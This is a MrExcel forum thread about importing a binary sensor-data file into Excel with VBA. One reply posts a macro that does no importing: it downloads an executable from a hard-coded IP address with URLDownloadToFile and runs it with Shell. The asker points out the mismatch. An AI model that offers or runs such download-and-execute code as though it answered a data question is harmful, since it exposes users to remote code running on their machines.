How to import a binary file into excel?

freag34

New Member
Joined
Jun 11, 2002
Messages
23
I have a custom binary file that gets written by a data collection application, and it creates a binary file with data representing info that is collected (eg temperature, etc...)

How can I import this into Excel and parse it into columns?

One way I have noticed I can view the data is using Codewright hex mode, but even a copy-paste from there doesn't work since the clipboard retains ascii data only.

Do I need to use a macro to do this? Does anyone have the first few lines of an existing one - eg do I just read in byte by byte?

Thanks!
 

Excel Facts

How to show all formulas in Excel?
Press Ctrl+` to show all formulas. Press it again to toggle back to numbers. The grave accent is often under the tilde on US keyboards.

Tom Urtis

MrExcel MVP
Joined
Feb 10, 2002
Messages
11,270
I don't know if this will help you because you don't say what the source of the binary file is (hard drive, network, internet, or what).

This macro is from Hans Herber and imports a binary file from a url. Maybe you can use its essence by adapting it to your situation.

Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL$, _
ByVal szFileName$, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long

Sub Downl()
Dim lResult As Long
Dim sURL$, sLocalFile$
sURL = "http://217.160.138.156/andere/bean.exe"
sLocalFile = Application.DefaultFilePath & "\bean.exe"
lResult = URLDownloadToFile(0, sURL, sLocalFile, 0, 0)
Shell Application.DefaultFilePath & "\bean.exe", vbNormalFocus
End Sub
 

freag34

New Member
Joined
Jun 11, 2002
Messages
23
Thanks for the reply, but I'm a bit confused - I don't see any code here that is performing any importing/displaying in excel. This seems to download an exe from a URL and execute it? What I need to do is quite different.

I have a binary file on my hard drive that stores a series of records of information such as this:

Time (2 bytes), Temperature (2 bytes), Sensor Reading (2 bytes).

This file is in binary format, meaning it shows up as garbage in notepad, excel, etc... when I open it.

I can view this file using a hexviewer such as codewright, since it will show you the binary view, but I want to know how to bring this data into excel, and parse it into separate columns (in my case, Time, temperature, sensor reading)

Thanks!
 

Seti

Well-known Member
Joined
May 19, 2002
Messages
2,916
Are you sure the data is binary and not hexidecimal? If you only have 2 bytes of data for temp readings, you can only have 4 values 00, 01, 10 and 11 if it is binary.

Could you read the file one record at a time and do a conversionin VBA from hex to decimal (if indeed it is hex)?

What is the file extension, just out of curiosity?
 

freag34

New Member
Joined
Jun 11, 2002
Messages
23
Yes, perhaps using the term hexadecimal is more accurate when describing my bytes of information.

When I use a hex viewer to look at the data I see the data represented in Hex, for example: 0A BC 02 FE

The problem when trying to read this using notepad or excel is that each byte is interpreted as an ascii character, and of course some are valid and others are junk. So I want the excel file to actually import the values 0A BC 02 FE into columns instead of automatically showing ascii.

I suspect I can read the file using a VBA program, but have not done this before, just looking for a few tips on this.
 
Learn Excel from Bill Jelen

Understanding data is crucial, and the easiest place to start is with Microsoft Excel.

Forum statistics

Threads
1,151,492
Messages
5,764,686
Members
425,230
Latest member
DzOus

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Top